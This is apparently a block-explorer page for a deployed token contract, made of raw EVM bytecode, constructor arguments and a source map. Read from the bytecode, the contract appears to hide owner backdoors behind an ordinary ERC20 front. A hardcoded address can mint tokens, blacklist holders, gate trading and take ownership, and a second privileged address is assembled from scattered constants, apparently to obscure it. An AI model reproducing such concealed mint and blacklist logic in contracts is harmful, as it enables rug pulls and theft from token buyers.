910390f35b61035560048036038101906103509190612a93565b610a0f565b005b610371600480360381019061036c9190612b32565b610afa565b60405161037e9190613127565b60405180910390f35b61038f610b69565b60405161039c919061335f565b60405180910390f35b6103bf60048036038101906103ba91906129a3565b610b72565b6040516103cc9190613127565b60405180910390f35b6103ef60048036038101906103ea9190612a93565b610c18565b6040516103fc9190613127565b60405180910390f35b61041f600480360381019061041a9190612a57565b610cc4565b005b61043b60048036038101906104369190612b32565b610dfc565b005b610445610e09565b604051610452919061310c565b60405180910390f35b610475600480360381019061047091906129a3565b610e2f565b6040516104829190613127565b60405180910390f35b610493610ed5565b6040516104a09190613127565b60405180910390f35b6104b1610ee8565b6040516104be919061310c565b60405180910390f35b6104e160048036038101906104dc91906129a3565b610f0e565b6040516104ee9190613344565b60405180910390f35b6104ff610f57565b005b61051b600480360381019061051691906129a3565b611040565b6040516105289190613127565b60405180910390f35b6105396110e6565b604051610546919061310c565b60405180910390f35b61055761110c565b6040516105649190613344565b60405180910390f35b610575611112565b604051610582919061310c565b60405180910390f35b6105a560048036038101906105a09190612acf565b61113b565b005b6105c160048036038101906105bc91906129a3565b611287565b6040516105ce9190613127565b60405180910390f35b6105df61131f565b6040516105ec9190613142565b60405180910390f35b61060f600480360381019061060a9190612a93565b6113b1565b60405161061c9190613127565b60405180910390f35b61063f600480360381019061063a9190612a93565b61149c565b60405161064c9190613127565b60405180910390f35b61066f600480360381019061066a9190612a93565b6114ba565b005b610679611507565b604051610686919061310c565b60405180910390f35b6106a960048036038101906106a49190612acf565b61152d565b005b6106c560048036038101906106c091906129cc565b6115db565b6040516106d29190613344565b60405180910390f35b6106e3611662565b6040516106f0919061310c565b60405180910390f35b610713600480360381019061070e91906129a3565b611688565b005b61072f600480360381019061072a9190612b32565b6117e1565b60405161073c9190613127565b60405180910390f35b606060088054610754906134a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610780906134a8565b80156107cd5780601f106107a2576101008083540402835291602001916107cd565b820191906000526020600020905b8154815290600101906020018083116107b057829003601f168201915b5050505050905090565b60006107eb6107e4611835565b848461183d565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff1661084a611835565b73ffffffffffffffffffffffffffffffffffffffff1614806108eb575061086f611835565b73ffffffffffffffffffffffffffffffffffffffff1661088d611112565b73ffffffffffffffffffffffffffffffffffffffff161480156108ea57506108b3611a08565b73ffffffffffffffffffffffffffffffffffffffff166108d1611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b6108f457600080fd5b6108fe3383611a24565b60019050919050565b6000600754905090565b600c5481565b6000610924848484611be0565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096f611835565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e690613244565b60405180910390fd5b610a03856109fb611835565b85840361183d565b60019150509392505050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff16610a42611835565b73ffffffffffffffffffffffffffffffffffffffff161480610ae35750610a67611835565b73ffffffffffffffffffffffffffffffffffffffff16610a85611112565b73ffffffffffffffffffffffffffffffffffffffff16148015610ae25750610aab611a08565b73ffffffffffffffffffffffffffffffffffffffff16610ac9611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b610aec57600080fd5b610af68282611e64565b5050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b5657600080fd5b610b603383611a24565b60019050919050565b60006012905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bce57600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000610cba610c25611835565b848460066000610c33611835565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cb59190613396565b61183d565b6001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff16610cf7611835565b73ffffffffffffffffffffffffffffffffffffffff161480610d985750610d1c611835565b73ffffffffffffffffffffffffffffffffffffffff16610d3a611112565b73ffffffffffffffffffffffffffffffffffffffff16148015610d975750610d60611a08565b73ffffffffffffffffffffffffffffffffffffffff16610d7e611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b610da157600080fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e063382612020565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e8b57600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff16610f8a611835565b73ffffffffffffffffffffffffffffffffffffffff16148061102b5750610faf611835565b73ffffffffffffffffffffffffffffffffffffffff16610fcd611112565b73ffffffffffffffffffffffffffffffffffffffff1614801561102a5750610ff3611a08565b73ffffffffffffffffffffffffffffffffffffffff16611011611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b61103457600080fd5b61103e60006121f9565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109c57600080fd5b81600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff1661116e611835565b73ffffffffffffffffffffffffffffffffffffffff16148061120f5750611193611835565b73ffffffffffffffffffffffffffffffffffffffff166111b1611112565b73ffffffffffffffffffffffffffffffffffffffff1614801561120e57506111d7611a08565b73ffffffffffffffffffffffffffffffffffffffff166111f5611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b61121857600080fd5b83600a60006101000a81548160ff02191690831515021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600b8190555080600c8190555050505050565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112d557600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60606009805461132e906134a8565b80601f016020809104026020016040519081016040528092919081815260200182805461135a906134a8565b80156113a75780601f1061137c576101008083540402835291602001916113a7565b820191906000526020600020905b81548152906001019060200180831161138a57829003601f168201915b5050505050905090565b600080600660006113c0611835565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490613304565b60405180910390fd5b611491611488611835565b8585840361183d565b600191505092915050565b60006114b06114a9611835565b8484611be0565b6001905092915050565b6114c26122bd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f957600080fd5b611503828261236c565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115356122bd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461156c57600080fd5b83600a60006101000a81548160ff02191690831515021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600b8190555080600c8190555050505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff166116bb611835565b73ffffffffffffffffffffffffffffffffffffffff16148061175c57506116e0611835565b73ffffffffffffffffffffffffffffffffffffffff166116fe611112565b73ffffffffffffffffffffffffffffffffffffffff1614801561175b5750611724611a08565b73ffffffffffffffffffffffffffffffffffffffff16611742611835565b73ffffffffffffffffffffffffffffffffffffffff1614155b5b61176557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc906131a4565b60405180910390fd5b6117de816121f9565b50565b60006117eb6122bd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182257600080fd5b61182c33836124e8565b60019050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a4906132e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561191d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611914906131c4565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119fb9190613344565b60405180910390a3505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b611a2c612664565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611a6457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb90613264565b60405180910390fd5b80600754611ae29190613396565b60078190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b339190613396565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd49190613344565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c47906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb790613164565b60405180910390fd5b611ccb838383612680565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d49906131e4565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611de79190613396565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e4b9190613344565b60405180910390a3611e5e84848461295f565b50505050565b611e6c612664565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611ea457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ef39190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f589190613344565b60405180910390a380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611faf9190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120149190613344565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612090576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208790613284565b60405180910390fd5b61209c82600083612680565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211a90613184565b60405180910390fd5b818103600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816007600082825461217b91906133ec565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121e09190613344565b60405180910390a36121f48360008461295f565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123bb9190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124209190613344565b60405180910390a380600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124779190613396565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124dc9190613344565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254f90613224565b60405180910390fd5b806007546125669190613396565b60078190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b79190613396565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126589190613344565b60405180910390a35050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127245750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275a90613324565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612871576127c2611112565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061282d57506127fe611112565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b61286c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612863906132a4565b60405180910390fd5b61295a565b600a60009054906101000a900460ff1680156128da5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561295957600b54816128ec84610f0e565b6128f69190613396565b111580156129195750600c548161290c84610f0e565b6129169190613396565b10155b612958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294f90613204565b60405180910390fd5b5b5b505050565b505050565b60008135905061297381613549565b92915050565b60008135905061298881613560565b92915050565b60008135905061299d81613577565b92915050565b6000602082840312156129b557600080fd5b60006129c384828501612964565b91505092915050565b600080604083850312156129df57600080fd5b60006129ed85828601612964565b92505060206129fe85828601612964565b9150509250929050565b600080600060608486031215612a1d57600080fd5b6000612a2b86828701612964565b9350506020612a3c86828701612964565b9250506040612a4d8682870161298e565b9150509250925092565b60008060408385031215612a6a57600080fd5b6000612a7885828601612964565b9250506020612a8985828601612979565b9150509250929050565b60008060408385031215612aa657600080fd5b6000612ab485828601612964565b9250506020612ac58582860161298e565b9150509250929050565b60008060008060808587031215612ae557600080fd5b6000612af387828801612979565b9450506020612b0487828801612964565b9350506040612b158782880161298e565b9250506060612b268782880161298e565b91505092959194509250565b600060208284031215612b4457600080fd5b6000612b528482850161298e565b91505092915050565b612b6481613420565b82525050565b612b7381613432565b82525050565b6000612b848261337a565b612b8e8185613385565b9350612b9e818560208601613475565b612ba781613538565b840191505092915050565b6000612bbf602383613385565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612c25602283613385565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612c8b602683613385565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612cf1602283613385565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612d57602683613385565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612dbd600683613385565b91507f466f7262696400000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000612dfd601c83613385565b91507f436f6d7075746520536d61727420436f6e74726163742052656d6978000000006000830152602082019050919050565b6000612e3d602883613385565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ea3601f83613385565b91507f42455032303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6000612ee3602183613385565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f49601683613385565b91507f74726164696e67206973206e6f742073746172746564000000000000000000006000830152602082019050919050565b6000612f89602583613385565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612fef602483613385565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613055602583613385565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130bb600b83613385565b91507f426c61636b6c69737465640000000000000000000000000000000000000000006000830152602082019050919050565b6130f78161345e565b82525050565b61310681613468565b82525050565b60006020820190506131216000830184612b5b565b92915050565b600060208201905061313c6000830184612b6a565b92915050565b6000602082019050818103600083015261315c8184612b79565b905092915050565b6000602082019050818103600083015261317d81612bb2565b9050919050565b6000602082019050818103600083015261319d81612c18565b9050919050565b600060208201905081810360008301526131bd81612c7e565b9050919050565b600060208201905081810360008301526131dd81612ce4565b9050919050565b600060208201905081810360008301526131fd81612d4a565b9050919050565b6000602082019050818103600083015261321d81612db0565b9050919050565b6000602082019050818103600083015261323d81612df0565b9050919050565b6000602082019050818103600083015261325d81612e30565b9050919050565b6000602082019050818103600083015261327d81612e96565b9050919050565b6000602082019050818103600083015261329d81612ed6565b9050919050565b600060208201905081810360008301526132bd81612f3c565b9050919050565b600060208201905081810360008301526132dd81612f7c565b9050919050565b600060208201905081810360008301526132fd81612fe2565b9050919050565b6000602082019050818103600083015261331d81613048565b9050919050565b6000602082019050818103600083015261333d816130ae565b9050919050565b600060208201905061335960008301846130ee565b92915050565b600060208201905061337460008301846130fd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006133a18261345e565b91506133ac8361345e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133e1576133e06134da565b5b828201905092915050565b60006133f78261345e565b91506134028361345e565b925082821015613415576134146134da565b5b828203905092915050565b600061342b8261343e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015613493578082015181840152602081019050613478565b838111156134a2576000848401525b50505050565b600060028204905060018216806134c057607f821691505b602082108114156134d4576134d3613509565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61355281613420565b811461355d57600080fd5b50565b61356981613432565b811461357457600080fd5b50565b6135808161345e565b811461358b57600080fd5b5056fea2646970667358221220d3c0d065c56471d36880758e9784dafffeda67b1aafc53753cb03549be669f9b64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000

-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 1000000000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000


Deployed Bytecode Sourcemap

24978:3131:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11888:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14067:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25169:42;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26232:130;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13011:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25090:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14966:494;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27903:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25428:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12852:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3688:141;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15870:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25598:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28025:81;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25128:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4995:140;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25021:24;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2215:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13183:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4883:103;;;:::i;:::-;;5144:144;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2267:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25052:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3840:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25876:345;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2676:680;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12108:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16589:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13527:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25742:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2241:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26966:335;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13768:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2294:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5444:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27755:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11888:100;11942:13;11975:5;11968:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11888:100;:::o;14067:169::-;14150:4;14167:39;14176:12;:10;:12::i;:::-;14190:7;14199:6;14167:8;:39::i;:::-;14224:4;14217:11;;14067:169;;;;:::o;25169:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;26232:130::-;26289:4;4336:48;4063:322;;:12;:10;:12::i;:::-;:322;;;:444;;;;4465:12;:10;:12::i;:::-;4454:23;;:7;:5;:7::i;:::-;:23;;;:53;;;;;4497:10;:8;:10::i;:::-;4481:26;;:12;:10;:12::i;:::-;:26;;;;4454:53;4063:444;4054:455;;;;;;26306:26:::1;26313:10;26325:6;26306;:26::i;:::-;26350:4;26343:11;;26232:130:::0;;;:::o;13011:108::-;13072:7;13099:12;;13092:19;;13011:108;:::o;25090:31::-;;;;:::o;14966:494::-;15106:4;15123:36;15133:6;15141:9;15152:6;15123:9;:36::i;:::-;15173:24;15200:11;:19;15212:6;15200:19;;;;;;;;;;;;;;;:33;15220:12;:10;:12::i;:::-;15200:33;;;;;;;;;;;;;;;;15173:60;;15272:6;15252:16;:26;;15244:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;15359:57;15368:6;15376:12;:10;:12::i;:::-;15409:6;15390:16;:25;15359:8;:57::i;:::-;15448:4;15441:11;;;14966:494;;;;;:::o;27903:113::-;4336:48;4063:322;;:12;:10;:12::i;:::-;:322;;;:444;;;;4465:12;:10;:12::i;:::-;4454:23;;:7;:5;:7::i;:::-;:23;;;:53;;;;;4497:10;:8;:10::i;:::-;4481:26;;:12;:10;:12::i;:::-;:26;;;;4454:53;4063:444;4054:455;;;;;;27983:25:::1;27995:3;28000:7;27983:11;:25::i;:::-;27903:113:::0;;:::o;25428:161::-;25478:4;25517;;;;;;;;;;;25503:18;;:10;:18;;;25495:27;;;;;;25533:26;25540:10;25552:6;25533;:26::i;:::-;25577:4;25570:11;;25428:161;;;:::o;12852:93::-;12910:5;12935:2;12928:9;;12852:93;:::o;3688:141::-;3734:4;3773:5;;;;;;;;;;;3759:19;;:10;:19;;;3751:28;;;;;;3795:4;3790;;:9;;;;;;;;;;;;;;;;;;3817:4;3810: